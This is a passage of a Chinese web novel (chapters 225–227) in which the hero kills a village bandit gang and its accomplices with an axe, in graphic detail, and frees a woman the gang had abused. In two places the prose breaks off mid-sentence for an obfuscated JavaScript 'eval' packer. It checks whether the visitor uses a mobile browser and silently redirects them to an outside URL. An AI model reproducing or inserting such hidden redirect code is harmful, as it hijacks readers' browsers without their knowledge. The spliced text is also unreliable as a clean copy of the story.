郝老汉的乖女婿终于学会了该如何文明用语,跪在地上口齿不清的向老丈人认了错,然后一瘸一拐的落荒而逃。望着他离去的背影,郝老汉的脸上却没有一点轻松的迹象,扯着凌晨的胳膊,看着韩登语气焦急的催促道:“今晚月亮正巧亮着,能看清路,你们快走!”韩登提衣衫里面的裤子走了过来,疑惑的问道:“去哪里?”翠草婶子叹着气对二人解释道:“他住在山上旧禅寺里,那是个贼窝,里面拢共有四个打家劫舍的狠人。以前官府剿匪,他们被迫改头做了香火,如今风声没有前两年紧了,他们又是吃快饭吃惯了的,不愿农作,时不时的会唤上十里八乡的地痞流氓,劫掠过往客商和失路旅人。”郝老汉焦急的接话道:“哎呀!你们今晚惹了他,他是绝不会善罢甘休的!定会回去叫上其他几人来要你们性命,听老汉的,快走吧!现在跑还来得及!”凌晨和韩登听的面面相觑,什么?找我们的麻烦?不会善罢甘休?老丈,你是不是误会了,我们也没打算就这么算了呀~放他走,是为了让他带路呢~凌晨立刻双手捂住头,脸色惊恐的露出一副害怕模样,拉着韩登的衣袖颤声说道:“表弟,这可怎么办呀!那我们赶紧跑吧!”韩登挑眉看了看演技浮夸的凌晨,眼珠子一偏,又转回来。“哼!亏你还是习武之人,要走你走,我一人做事一人当,绝不会怕了他们!更何况我要是走了,老丈一家怎么办?”郝老汉无奈焦急的说道:“嗨呀!红果是他女儿,虎毒尚且不食子呢!这里你们不用担心,快快逃命去吧!”韩登闭着眼睛摇了摇头,梗着脖子拒绝。凌晨弯着腰,双手举在身前,一副胆小害怕的慌张模样,手足无措的扭着脑袋左右看了看,边走边退向院门。“表弟,那……那你就待在这里,我现在就下山去报官。你放心,如果你不小心死了,我一定会为你报仇的!”说罢,他便头也不回的跳出了院门,没影了。郝老汉见凌晨走了,这才松了一口气,可一看身边一动不动的韩登,又急了起来:“小相公,你表兄都走了,你就听老汉的,不要逞强,快快逃命啊!”翠草婶子和红果也面色担忧的看着韩登,那可都是一群杀过人的亡命之徒啊!韩登不屑的“切”了一声,拍了拍郝老汉的肩膀:“老丈尽管放心,这天黑路滑的,我料想他们来不了,明天再说吧~”说罢,他便伸着懒腰回屋去了,留下一家人着急跺脚。夜里被凌晨惦记过的朋友们想必都清楚,活着看到明天的太阳,是三个不可能实现的愿望。南岭村里也不全是老实人,郝老汉的女婿出了门后并没有着急离开村子,而是来到了同村的一个同伙家中。这位同伙是他旧禅寺的同事,唯一的区别就是他全职,对方兼职。窸窸窣窣的交代了一番后,郝老汉的女婿便拄着棍子上山搬救兵去了。同伙马不停蹄赶到郝老汉家门前的大树后面,负责蹲守看着,可不能叫这俩小崽子跑了。看到凌晨出来后,同伙露出了残忍的笑容,捏了捏手中的劈柴斧,正准备把他劝回郝老汉家里去,却没想他竟然朝着山上无人处走去了。那正是旧禅寺的方向。这小子是吓破胆了吧?是没有问郝老头下山的方向,还是慌乱之中记错了或者辨反了?不过不重要,刚好跟上去剁了他,至于院子里还有一个么……夜路难行,白天又听说他们是第一次来山里,哥们世世代代生活在这儿,难道还会叫他跑掉不成?于是,凌晨在月光的照映下,郊游似的行走在崎岖不平的山路上,南岭村的小卡拉米一会躲在树后,一会闪进草丛,左右横跳着紧跟在凌晨身后。“明月不谙离别苦~斜光到晓穿朱户~陪你走完这一程~相思路~”最近真是奇了怪了,脑海里总能想起这首歌。反正现在周围没有什么活人,凌晨便扭着身子,双手摇摆着摇头晃脑,彻底放飞自我在这条深山夜路中。至于身后那位红豆吃多了的迷途羔羊嘛……不着急,跟他玩玩。同伙追了很长时间,一直紧随在凌晨身后,但当凌晨拐过一个上坡口后,追上去的他惊讶的发现,人不见了!他连忙加快脚步向前小跑而去,终于在前面看到了一个人,可却更加疑惑了,一点也高兴不起来。那人拄着木棍,一瘸一拐的,正是同村郝老汉家的女婿张大哥。人……人呢??“张大哥!张大哥!”郝老汉的女婿听到有人喊自己,被吓了一激灵,扭头一看,发现是自己安排在老头家盯着仇人的郝二狗后,顿时就怒了——“你怎么跑这里来了?不是让你盯着他们吗?!”郝二狗委屈的说道:“我听你的在门口守着,那俩其中一个走出来往这边来了。我就跟着他过来,想找机会把他剁了,再回去盯另一个。可是刚才他突然不见了!”啊?张大哥闻言勃然大怒,拄着拐杖问道:“哪里不见的?”郝二狗无辜的转过身子,指向身后的上坡口,看着那里说道:“就后面那个口子。”张大哥没空,也没心思和他说话。因为就在刚刚郝二狗转身指向身后的路口时,从他背后贴着露出一个黑影来,借着皎洁的月光,张二哥认出了正是先前二人中没有动手的那个。但对方悄无声息的从傻愣愣的郝二狗身后紧贴着突然出现,这画面太有冲击感了!简直可以用恐怖来形容。跟踪别人被反跟踪了不说,对方就贴在你的身后,你没发现??凌晨笑眯眯的对着张大哥比了个“嘘”的手势,恰巧这时候郝二狗又转过身来,凌晨又赶忙小心翼翼跟着他的身子转回背后去了。张大哥双眼瞪得像铜铃,浑身的汗毛都竖了起来,冷汗瞬间渗出额头!见张大哥不理会自己,只是用一副见了鬼的表情盯着自己看,郝二狗有些不解的挠了挠右边脑袋,放下手后疑惑的问道:“怎么了张大哥?”下一刻,脑袋又挠了挠。张大哥被吓的一屁股坐倒在地上,直觉告诉他,今天摊上事了。郝二狗看到本就一瘸一拐的张大哥突然摔倒在地,下意识的就要伸手上前去扶。就在这时,他突然脸色一僵,意识到了什么——对啊,我的两只手都在身前。那刚才第二遍……是谁的手在挠我的头发??!!!他连忙握紧手中的劈柴斧跳着转过身,吞着口水向后看去,空无一人。下一刻,手中的劈柴刀突然猛的被人抽走了,郝二狗举起双手低头一看,自己的手里空空如也!还来不及尖叫大喊,脖子就猛的被什么东西撞了一下,脸上湿漉漉的像被水泼了一般。紧接着,火辣辣的灼烧感和吸不上气的闷憋感同时传来。郝二狗下意识的想伸手去捂脖子,可就在这时,脑后却又像是被重物钝击了一下,让他整个人重重的跌倒在了地上!他的侧脸贴着地面,口中流血,呼出的气吹起浮土,整个身体都不停的抽动着,想用力撑着站起身来,却怎么也使不上劲,四肢好像完全不停使唤,直到眼前的歪了的景象渐渐模糊,最终一片漆黑。两斧头剁了郝二狗后,凌晨跳着斧头帮经典舞蹈,一扭一扭的走向了倒在地上的张大哥。张大哥回想起不久前在院子里的画面,这小子不是躲在老东西身边,胆小的跟个孙子一样么?他还以为咋咋呼呼的韩登是主心骨,现在看来……“等……等一下,杀人是犯法的!你杀了我,官府是不会放过你的!”凌晨哼着自己也不知道名字的小调,扭到了张大哥面前。“哦,那我也就不顾什么反派死于话多的道理,跟你废话一下吧。首先,没有人知道是我剁了你,其次……我就是官府!没想到吧?哈哈哈哈~”张大哥看着眼前这个刚杀完人还能有心情跟自己开玩笑的疯子,暗叫不妙!今天真看走眼、碰到硬茬子了。“好汉!好汉,是我有眼不识泰山!你放过我,放过我!我现在就跟你回去,把红果许配给你。啊不许配也行,我让她今晚跟您和您的兄弟一起睡觉,你们放心离开,绝不给您添……”“好了好了,我对女人不感兴趣,我喜欢男的。你别浪费唾沫,就算你求我,我也不会放过你。”凌晨开口打断张大哥的话,举起了手中的劈柴斧。张大哥顿时就急了,伸出手挡在面前想要拦住斧头:“我在山上还有三个兄弟,他们可都是旧年绿林上赫赫有名的英雄!好汉做事可要……啊!!”空旷静谧的山林之中,响起阵阵惨叫,并且随着时间的流逝渐渐微弱。“啊!啊!啊……呃……”用斧头在这人渣脑袋上一连挥了七八下后,凌晨这才提着血斧站起身来,呸了一口溅在嘴唇上的血迹,望着地上一声不吭的张大哥嘟囔道:“下回说快点,我赶时间。还要送你兄弟下去陪你,明早还要登顶看日出,忙着呢~”人在干坏事的时候是不会感觉到累的,凌晨把这俩倒霉蛋绑在树干上,将他俩胳膊一个指向后方,一个指向前方,用来误导路人的方向。做完了这一切后,凌晨退后了几步,欣赏了一下自己的恶作剧,颇为满意。便扛起斧头,哼着歌继续往山上的旧禅寺走去。“找呀找呀找朋友~~” 第225章 旧禅寺 残屋破瓦,步阶断缺,碎石无人清。杂草丛生在两旁佛龛,掩盖了蒙尘香炉;青苔爬满了裂痕石碑,藏匿了渡世禅语。红柱褪色为褐木,黑匾黯然如糊板。 往日华光不见,钟声不闻,幽幽古刹只剩月下静谧,夜半虫鸣。 银字笙调,心字香烧,流光容易把人抛。 这么风雅的拄杖夜叩门,却因为旧禅寺破败山门前的一副对联,让凌晨恨的牙痒痒—— 上联:利锁名缰笼络许多好汉 下联:晨钟暮鼓惊醒无限痴人 这帮强人可能是觉得“好汉”一词非常贴切他们的江湖身份和地位,“痴人”又暗藏释家谶言,留着应该挺有排面。所以这两副对联不仅没有被拆了拿去当烧火柴,甚至还有人专门用墨新书了一遍。 由此可见,郝老汉女婿剩下的这三个同伙中,应该有识字的人,但也仅限于识字。 因为凌晨清晰的记得,这副对联应该是道家的警世醒语。 所以说,文化工作者,一定要有文化。 这就跟保卫泸定桥、下班后倒欠公司五十、撞完人还怪行人态度不好一样倒反天罡。 不怕不会,不怕全会。 就怕会点,但是不多。 动耳神功一开,紧握着劈柴斧,凌晨怒气冲冲的踏进了山门。他倒要看看是哪个睿智的半吊子在这里充大尾巴狼,敢跟佛祖开这种地狱玩笑,今天定要让他知道知道什么叫怒目金刚! 院子很大,同时也很破败。因为时间的流逝,导致夯过的地基发生局部塌陷,原本平整的地砖也因此变得凹凸歪斜。 从砖缝里钻出了青蒿,沿着脉络一路蔓延成不太规则的草格;禅院中央的大鼎香炉上满是灰尘,四角还有蛛网。里面的香灰也因为灌了雨水,再加上反反复复的干涸浸湿,结成道道锈斑泥迹。 摆过蜡烛的横架塌歪了一角,摇摇欲坠;跪过信徒的膝垫破碎成烂布,粘在地面。大雄宝殿空空荡荡,两侧的天王殿和菩萨堂更是寂静无声。 昔年梵音盛景处,只剩月下后来人。 “哈哈哈哈~~” 就在凌晨触景生情、感慨沧海桑田、岁月无情之际,从大雄宝殿后面传来了隐隐约约的笑声,听起来还挺开心。 哎呦,光顾着发呆了。 闹铃响了,该上班了。 大殿后面的建筑维护的还行,房顶的瓦片明显被修缮过,能遮风挡雨正常住人。东侧殿前摆着一方圆桌,三个人围坐在一起,举碗碰撞,酒水撒出陶碗,还真有点梁山好汉那味儿~ 最吸引眼球的是一个胖大光头,在月光下,他的脑袋顶比大灯泡还亮,脑后的褶子叠出好几层五花肉。眯眯眼,肥大宽胖,一身土黄色的僧服如同床单披在身上一样松弛。 第二个身材矮小,尖嘴猴腮,但两个脸颊上全是向外张的钢针胡,两脚踩在凳面上蹲坐着,手腕上还有皮制护腕,这家伙后背腰带上还插着两把交叉的短刃。 最后那人一身秀才灰衫,戴着读书人特有的方巾,相对于大胖和尚的慈眉善目和矮矬小贼的阴险狡诈,他看起来要面善温和的多。但凌晨没有一点小瞧或者放过他的意思。 当你在一群特征鲜明的人里看到一个平平无奇甚至有点透明的人,不要怀疑,他可能不是最厉害的,但绝对是藏的最深的。 这个公式百试百灵。 简单盘算了一下后,凌晨习惯性的甩了甩手中的震雷棍…呃,震雷斧……哎管他呢!反正就是活动了活动手腕,径直奔向了最小的那个矮子。 为什么挑他? 因为凌晨有点担心这家伙跑起来自己可能会追不上,藏起来可能也找不到。 那胖和尚和书生完全不用考虑,他俩一个肥成赛大象,一个空虚空子转世,这要是还能跑了,公爷我当场就把这张桌子吃下去! “嗯?” 三人刚举碗碰完喝了一口,那个小矮子握着嘴边的陶碗,突然猛的回头,下巴抵着肩膀,眼神阴鸷的看向身后凌晨隐身所在的方向。 凌晨脚步一顿,面色一愣。 矮子的举动引起了其他两人的注意,胖和尚红着脸眯着眼,顺着矮子的目光往后方看了一眼,空荡荡的庭院里什么也没有。 “怎么了三弟?” 矮子的一双蛇眼左右扫了扫,这才放下心来,转过身无所谓的说道:“没事,可能是我听错了,刚才听到一声轻微的脚步。” 书生和胖和尚对视一眼,齐齐大笑起来:“哈哈哈哈哈~~” “三哥生性谨慎,耳聪目明,只是这会却多心了。这旧禅寺是我们兄弟四人的地盘,整个青州道上混饭吃的谁不晓得?凭咱们弟兄的威名,何人敢……” 书生的话还没说完,就如同被人掐住嗓子一般卡在喉咙里出不来了。 三哥整个身体像是被什么砸了一下,“砰”的一声猛的撞在了桌子上,胳膊将酒碗、蒜瓣和牛肉、黄豆拨的一片狼藉!! 二人惊的急忙起身,却看到他的脖子后面露出一个大血窟窿,伤口上的白肉以肉眼可见的速度翻起,隐约还能看到里面的森森白骨。 怎么回事?!! 胖和尚眯着眼眉头紧皱,一把提起身下的木头凳子握在手里,看向矮子后方的庭院,依旧空无一人! 二人迅速并肩站到一起,书生也从袖子里滑出一柄**,与胖子一起又惊又恐的扫视着酒桌后面的庭院,可是…… 什么都没有啊! 书生的声音微微有些颤抖:“大……大哥,不会是……撞鬼了吧??” 胖和尚冷哼一声,并没有理会书生,而是仔仔细细的盯着每一个角落,朗声问道:“是哪里的好汉登门?有事开口!我们兄弟若有得罪阁下的地方,给个机会弥补。若是不解之仇,也报个姓名让我们死的明白!” 下一刻,二人面前的桌子猛的晃了一下,桌上的碗碟兵呤乓啷的发出一阵响动,一道宛若惊雷的怒吼声凭空传入耳中—— “我就是席卷人间的巨浪!!” “呃啊………” 胖和尚发出痛苦的凄厉惨叫声,响彻在原本幽静的旧禅寺中。一柄满是血迹的斧子狠狠的插在他的脑袋顶上,深入头骨。他那肥大的身躯绵软无力的轰然倒地,砸起一片尘土,在月光下清晰可见。 书生惊恐的看着凭空出现后跳落在地上的凌晨,双腿发抖,身体不由自主的颤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15968907|172927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栗着,失去了对四肢的控制能力,甚至连惊叫和逃跑都忘记了! 眼前出现的这难以理解的一幕,深深震撼了他的心神,让他的信念和认知世界碎了一地!哪怕院子里出现一条大虫,他也知道逃命。可眼前这玩意儿跟鬼一样活生生的出现在空中,一斧头就送大哥去了见佛祖,他不敢逃啊!! 人在极度恐惧的时候,会一动不动,潜意识里认为自己只要保持静止,就不会引起注意,能够逃过一劫。 胖和尚并没有挣扎多久,凌晨的诺克萨斯断头台应该是触及到他的脑浆子了。 好歹也是在发电厂干过的,体力这一块,凌晨不敢说自己是赛亚人,但也绝对在大多数普通人之上。 最有说服力的证据就是,他**以为常的某项工作内容,成功在一天之内劝退了一位刚刚退伍转业的兵哥哥,那哥们连夜辞职跑路的。 送别对方的时候,同为牛马的部门领导将手搭在凌晨的肩膀上,感慨万千的盯着兵哥哥远去的身影,发自内心的叹道:“原来我们这种工作,当兵的来了都受不了啊~” 所以啊,不要跟我说你的头骨有多坚硬,工人阶级的斧头能劈开一切! 凌晨俯下身子握住斧柄拔了一下,发现斧刃卡在骨头里,拔不出来…… 有点尴尬。 他这才抬头看了一眼身旁**都掉在地上的书生,对方的脸色也不知道是吓的还是被月光照的,反正一片煞白,裆前垂衫还深了一片。 这就吓尿啦? “你看**什么?我脸上有花吗?跑啊!” 凌晨对着书生提醒了一句后,继续俯下身子,用脚踩在胖和尚的脸上,双手握住斧柄,前后扭着使劲拔去了。 书生一屁股摔倒在地上,顾不上手腕的酸爽和胳膊肘子的火辣,看着眼前这个人不人鬼不鬼、还有点疯疯癫癫、精神有点不太正常的家伙,只觉得口中发干,喉咙吞咽都没有口水。 直到反应过来凌晨的话后,他这才意识到这家伙好像是个人。是人那就好办了,打肯定是不能打的,对方的手段太诡异了! 但跑还是可以跑的! 书生连忙翻起身来,手还没离地呢,脚已经蹬着凹凸不平的地面连滚带爬的窜了出去,直奔廊柱下的院角而去! “呲~” 凌晨也刚好将斧头从胖和尚的脑门顶拔了出来,快速给胖和尚脖子里再补一斧后,他扛起斧子,耳朵一动,吹着口哨晃晃悠悠的追了上去。 书生一路扶着墙,跌跌撞撞的拐过院角,顺着盖了破瓦的残缺围墙往上爬,想从这里翻出院墙。结果不知道是因为紧张还是怎的,一连跳了两次都没跳上去,身后那道追魂索命的口哨声却越来越近。 “呼哧~呼哧~” 书生当机立断舍了院墙,转身三两步跨上台阶,扶着柱子慌张失措的跑进了主殿东侧门。 一进门他就立刻转到门背面,努力平复自己的情绪,大口大口的深呼吸了几下后,立刻屏住呼吸,提心吊胆的竖起耳朵听着动静。 殿外的哨声没了。 但殿内却响起了一阵让他汗**直竖的脚步声。 “我闻到你的恐惧了~~” 第226章 悲催的人生 人都是有正反两面的。 正义的时候,内心充满怜悯和善良。见到年老体衰的长辈驼着背在推三轮车,会忍不住上前帮忙;偶遇到偷狗贼或者人贩子,根本不用思考,上去就是给他一个雷欧飞踢。 邪恶的时候,内心充满残忍和狠毒。开水烫蚂蚁窝都是小儿科,把鱼儿捞出来握在手中看它挣扎、趁黑将别人瓜田里的西瓜挨个踩烂,极个别人还会亲手将自己养了很久的猫咪剥皮。 但大多数人都被大郑威严的律法所框束着,刽子手手里的鬼头刀会让大家自觉的压制内心的恶,发扬自己内心的善良。 很可惜,旧禅寺F4显然不在此列。 既然他们不喜欢按照规矩办事,而是爱用拳头和刀锋来说话,那凌晨就用他们听得懂的语言与他们交流。 “好汉!你我往日无怨,近日无仇,小生实在想不起来哪里的罪过好汉!就算是让我死,也让我做个明白鬼吧!” 书生知道自己的位置已经暴露了,眼下任何的逃避和对抗已经没有意义,唯有用言语交流寻找到对方的需求才能保命。于是一把推开挡自己身前的殿门,噗通一声跪在月光洒进殿内的银白地面上,开口询问。 有些人是这样的,你跟他讲道理,他跟你挥拳头。发现自己的拳头没你大时,他又想讲道理了。 凌晨隐身立在殿内月光照射不到的阴影里,满脸失望,都失去了剁他的兴致。 耳朵一动,握着滴血的斧子走出来后,凌晨在书生面前盘腿坐了下来,拍着书生伏地磕头的脑袋,有些伤感的说道: “别傻了小哥,我从来不杀读书人,你陪我聊会天吧~” 书生闻言一愣,难以置信的缓缓抬起头来,看着用肩膀上的衣服蹭脸上血的凌晨,一时间不知道该如何是好。 “看你的模样,应该也是个读过圣贤书的,怎么跟他们这些人混到一起去了?你家中还有什么人吗?父母身体怎么样?有没有妻儿?你有孩子吗?” 书生惊惧交加的看着近在咫尺的凌晨,被他给整的彻底不会了。 这个莫名其妙出现的人,刚刚才用斧头剁**自己的两位义兄,身上的血都还没干,现在居然坐在这里心平气和的跟自己像认识多年的老朋友一样聊天。 书生宁愿遇到官府的兵丁,也不愿意遇到这样的疯批,更不愿意和他夜深人静独处一室。 奈何形势比人强,现在横竖都躲不过去,那就顺着他的心意来吧…… 于是他壮起胆子,硬着头皮和凌晨聊了起来。 书生姓常,家住在山下乾封县的一个平凡小村庄里,村里人世世代代耕作为生,过着日出而作、日落而息的平凡日子。 在这样艰苦的条件下,常书生的爹娘因为在县城里的大户人家做过工,认识到读书的重要性,于是便产生了一个大胆的想法——让儿子读书。 普通农家想要供养出一个读书人,是非常不容易的。拜师的束脩、研读的书本、练字的笔墨纸砚都是不小的支出,同时家里还会损失一名劳动力。 除此之外,还要忍受同村人和亲戚们的白眼,大家都是泥腿子,就你心气高还想飞上枝头变凤凰?下来吧你! 要不怎么说“十有九人堪白眼,百无一用是书生”呢? 但常书生的父母顶住了这些压力,把家里母鸡下的蛋煮给他吃,不让他下地干活,省吃俭用给他买油灯、纸笔、以及去考试的费用,希望他能成为村子里第一个走出去的举人老爷,扬眉吐气一扫前耻! 可惜,并不是所有努力都会有回报,常书生的科考之路不出意外的遭遇挫折,心灰意冷的回到了家乡。 父母没有力量供他再战考场,他比其他地主富商家的孩子容错率低太多。 最后的结果是,地不会种,书没读成,去给别人家当个账房先生都够呛,因为他学的是之乎者也,不是术算之道。 除了逢年过节写对联和代人写书信之外,常书生没有其他生存手段。就这,村里的大多都是熟人,不好开口要,人家也说先欠着,欠着欠着,就成了白嫖。 富家老爷们倒是会给,可单凭这些,显然是不够买米面粮油维持生计的,而且这也不是一个可以长久的安生立命的职业。 那就找个班上吧,什么时候开始都不晚,晚的是永远不开始。 常书生决定好好学习怎么种地,先活下来,再想其他。种完地的闲暇时间还可以写写画画赚点外快,攒的多了就再去考考看。如果还是不行的话,就先娶个媳妇,培养儿子继续逐梦科考之路。 一代一代的托举嘛~ 万一呢? 可是很不幸,终于下定决心要脚踏实地的他,赶上了大周分崩离析,天下大乱。 这下好了,地也种不成了。 先有赵世中揭竿而起,后有青州府各地豪强官员大乱斗,别说他家的地,整个村子都被推平了。 常书生东躲西藏,一会藏舅舅家,一会藏姑姑家,只为了能活命。但很不幸,他还是被当地征兵的给盯上了。 为了不上战场去做炮灰或者沦为同袍的小甜心,常书生做了一个逆天的决定—— 向敌对方通风报信,告诉他们本县官兵驻扎的具体位置。对方将领欣喜若狂,立刻点齐一队兵马,精准的屠了他的家乡子弟。 但常书生还是没能完成自己回家种地的愿望,因为敌对方也缺兵,你小子立了这么大的功劳,那就来我们的军营里吧~ 于是,他成为了敌方小兵,而且由于他识字,除了需要跟其他同袍一样要干活**外,还多了份抄抄写写的工作。 能者多劳嘛~ 将军是个大老粗,不认识字,于是便PUA常书生:反正你闲着也是闲着,写写东西又不累,你就静下心来好好干!这是我在培养你啊,假以时日肯定提拔你做将领或者军吏。 这当然是假的,乱世之中,谁的刀硬、谁的刀快, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15970960|172927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁才有话语权。 常书生任劳任怨的干了一年,发现将军只是在榨取自己的剩余价值,用的时候像丝绸一样小心珍惜,不用的时候像丢破鞋子一样甩飞。 书中说的“有事钟无艳、无事夏迎春”,在此刻具象化了。 更让他难以接受的是,自己为将军任劳任怨了这么久,多干了好多原本不属于自己的活。可将军抢了女人只会分给那些大老粗去霍霍,从来没有想起过他。 有一次他主动鼓起勇气去向将军提出:自己年龄也不小了,跟了您也这么久了,能不能也分给我一个当老婆? 将军当时忙着跟别人说话呢,不知道是敷衍还是没听见,只是朝自己挥了挥手,分不清是驱赶还是噤声。 常书生只能失望的离开将军的营帐。 第二天将军还问他,你昨天说的是啥? 常书生只能笑着摇头说没什么。 我为你做了这么多,你却连搭理我一下都没空,我还能说什么呢? 既然如此,那将军你就去让别人帮你批文书写军报吧~我走了。 从此我们桥归桥、路归路。 于是常书生背着自己的包袱,趁着夜黑人静之际,离开了军营。巡逻的士兵还问他大半夜的要干嘛去,常书生回答说:将军让我去办点事。 由于他待的有些年月了,又确实是将军身边的熟人,士兵们便不疑有他。 就这样,他离开了那座让他伤心的军营。 顺手把坐标匿名报给了另一方势力。 然后他发现,由于之前的二五仔行为,导致自己有家回不去。现在回去,大概率会被愤怒的家乡父老们乱棍打死。 举目望去,天下如此大,竟然没有自己的立锥之地。 当然了,树挪死,人挪活。 就在他准备爬上泰山散心,能想通就继续挣扎,想不通就光速下一把时,遇到了刚刚被凌晨用五层血怒劈黑屏的胖和尚。 原本胖和尚是准备把常书生骗到旧禅寺后挖心剜肝下酒的,但一听说他的遭遇,立刻改变主意决定拉他入伙。 团队里已经有悍匪和神棍了,但还缺个文化人出谋划策。最重要的是,这小子蔫坏蔫坏的,他的心太黑了,吃不得。 就这样,常书生和他们义结金兰,坐上了黑风寨的第四把交椅。 四人时不时的拉上周围互相认识的地痞流氓们,拦截过往客商。绑票、勒索、**、**掳掠样样都干,过了一段快活日子。 可是没多久,一个叫王臣鹤的人,带着琅琊府的官兵上山了。 土匪也做不成了。 干一行,废一行啊…… 连凌晨听完对方的遭遇后,都连连摇头叹气。不容易啊,这一辈子活的你说…… 行了,我也听你诉说完你的原生家庭苦难和曲折悲惨遭遇了,接下来我要干什么,你应该清楚。 破恶绝煞,削纸如泥,混沌尽散! 第227章 别拉低我的救援率 宰坏东西还是很爽的,比跟敌对方军队作战还痛快。不仅毫无心理负担,甚至隐隐感觉身体散发着正道的光。 “你已触犯了大郑律第四条——不可饶恕之掠杀罪!我,临颍郡公、殿帅凌晨,宣布剥夺你的一切权利,并对你进行投胎改造教育。原谅你是佛祖的事,我的任务是送你去见他。” 举着斧子对地上早已没了生气的常书生宣读判决书后,凌晨这才将斧子“啪嗒”一声丢到地上,擦着手走出了殿外。 游(扮)历(猪)红(吃)尘(虎)支线——青州篇——旧禅寺副本,终于…… “呜呜呜……” 嗯? 还有高手? 东侧殿躺着胖和尚和哥布林的方向,传来一阵微弱的哭声,凌晨动了动耳朵,背着手走了过去。 殿内一片狼藉,东西摆放的七零八落,一地垃圾,床单被褥更是和狗窝没区别。床上角落里蜷缩着一名浑身赤裸的女子,胳膊捏着床布遮住羞体,头发跟十几年没洗了一样蓬松脏乱,但脸还挺好看的。 看到凌晨的时候,她在惊恐之余还带着点轻微的疯癫和害怕。 即使自己委曲求全、屈身事贼,也只能堪堪保住性命。如今歹人们被仇家寻上门,外面方才的打斗声她是听见的,这人是会放过自己,还是**灭口,只有天知道。 早在被他们玷污清白之后,她就不想活了。可又一想到家中的父母,临死前怎么也要见上他们一面才肯甘心啊! 听她哽咽着哭诉完自己的悲惨遭遇,请求凌晨饶她一命后,凌晨不由得在心中长叹一声—— 造孽啊! 大郑虽然已经成功立国,但是许多百姓明显还生活在旧的秩序中。 在大多数人的观念里,新生的大郑能坚持多久,完全是一个未知数,搞不好可能还不如大周存在的时间长。所以大伙该吃吃、该喝喝,有事别往心里搁。 乡野绿林尚且如此,地方州府又是怎样一种态势,跟开盲盒一样刺激。 统一天下只是开始,后面的路才难走呢,我辈,任重道远啊! —— 被一巴掌扇醒的韩登擦了擦嘴角的哈喇子,揉着惺忪的睡眼茫然望向炕边。 凌晨俯身上前扶着他的肩膀,把他拉了起来,用十分关切的口吻问道:“是不是做噩梦了?我一进来就看到你在挣扎,是不是梦里谁打你了?” 韩登摸了摸自己的脸,迷迷糊糊的点了点头。见他没什么事后,凌晨这才松了一口气,朝着他招了招手,便自顾自的蹑手蹑脚走出了房门。 韩登不爽的打了个哈欠,整理好衣服后,拿起自己的扇子翻出了郝老汉家的院墙,然后看着凌晨身边裹着男人衣服的女子疑惑皱眉。 “怎么还带回来一个?” “许姑娘是路过时被那帮贼人掠上山的,家仆随从都被贼人害了,她在那座旧禅寺里吃了不少苦头。这不赶巧遇到了,我就想着顺带把她送回家去。” 韩登张着嘴巴不解的看向凌晨,这不是把别人家的棺材板抬回自己家哭吗? 见到凌晨已经抬腿向前走去,许姑娘也紧紧跟在他身后,韩登连忙赶上前去,边走边问道: “不是长腿了么?让她自己走回家不就得了?” “你让一个姑娘家大半夜在山林中走路啊?” “那就等到天亮再出发呀!” “你特么真是心冷手冷千古少,枉披人皮在今朝,以后外面再别说认识老子~” “不是…”韩登看了一眼亦步亦趋跟在后面的许姑娘,毫不掩饰的说道: “你看上她啥了?在贼窝里待过的,身上还有干净的地方吗?再说她这样……下了山也没人会要,活不成人的……” 啧!登子这话就不对了,带着浓浓的封建时代局限性。任何人的生命都只有一次,无论如何也要珍惜苍天赐予的金色年华啊! 身后的许姑娘听到了韩登的话,脚步一顿,悲伤、羞愤、懊悔和难过一起涌上心头,低下头啜泣起来,双手捂住脸掩面痛哭。 “呜呜呜……” 凌晨无语至极,一脚踢在韩登的屁股上,凝眉咒骂道: “你以为谁都跟你一样属泰迪的?老子救人是因为心善,如果带上目的奔着回报去,那还叫行侠仗义吗?我只要出手,就一定会帮到底,谁也别想拉低我的百分百救援率!” 走到许姑娘身边后,凌晨毫不客气的拽住她的胳膊,双手捏住她的胳膊强行拉开,让她露出脸来,恨铁不成钢的骂道: “你也是个没气性的,为什么要哭?你应该去撕烂他的那张破嘴!” …… 韩登仔细盘算了一下,发现还真是。凌晨救人确实没有图过回报,纯粹是看心情。救陛下、救先周梁王(话说这哥们现在还活着吗)、救姐夫、救冯大人和自己,全凭缘分和他乐意。 至于回报么…… 你给也行,不给也行,他都不会因为你的反馈就感到满足或者生出怨恨。 当然如果你敢恩将仇报的话,那当我没说。 他连殿帅的职位都视作可有可无,还有什么东西是他图谋的呢?图这名女子的以身相许吗? 别搞笑了。 被同时喷到的许姑娘和韩登都没了脾气,默默走在后面。凌晨背着手哼着歌,向着泰山顶峰发起冲锋。 月亮已经隐去,天色灰蒙蒙的,将亮未亮,依稀能辨认出前面的路。道旁两侧的树影只剩下黑色轮廓,像是被谁用墨笔勾勒出来的一样,风起叶婆娑,鸟鸣山更幽。 “呼哧~呼哧~” 凌晨拄着从路边折来的木棍,喘着气爬上土坡后转身伸手,四肢并用的韩登很自然的伸出手,却被拨到一旁。 许姑娘歉意的看了韩登一眼,缩着脖子伸出手,被凌晨拉了上去。 “啊~~?” 韩登既不解又气愤还无语的看了一眼继续向前走去的二人,无奈的叹着气四肢并用,拽着蒿草费力的爬上土坡。 “好歹拉我一把啊~”张着嘴大口喘气的韩登双手扶着膝盖,对着凌晨幽怨的喊道。 “你睡了一晚上,我刚下夜班,没让你背我就不错了,你想屁吃呢?”< 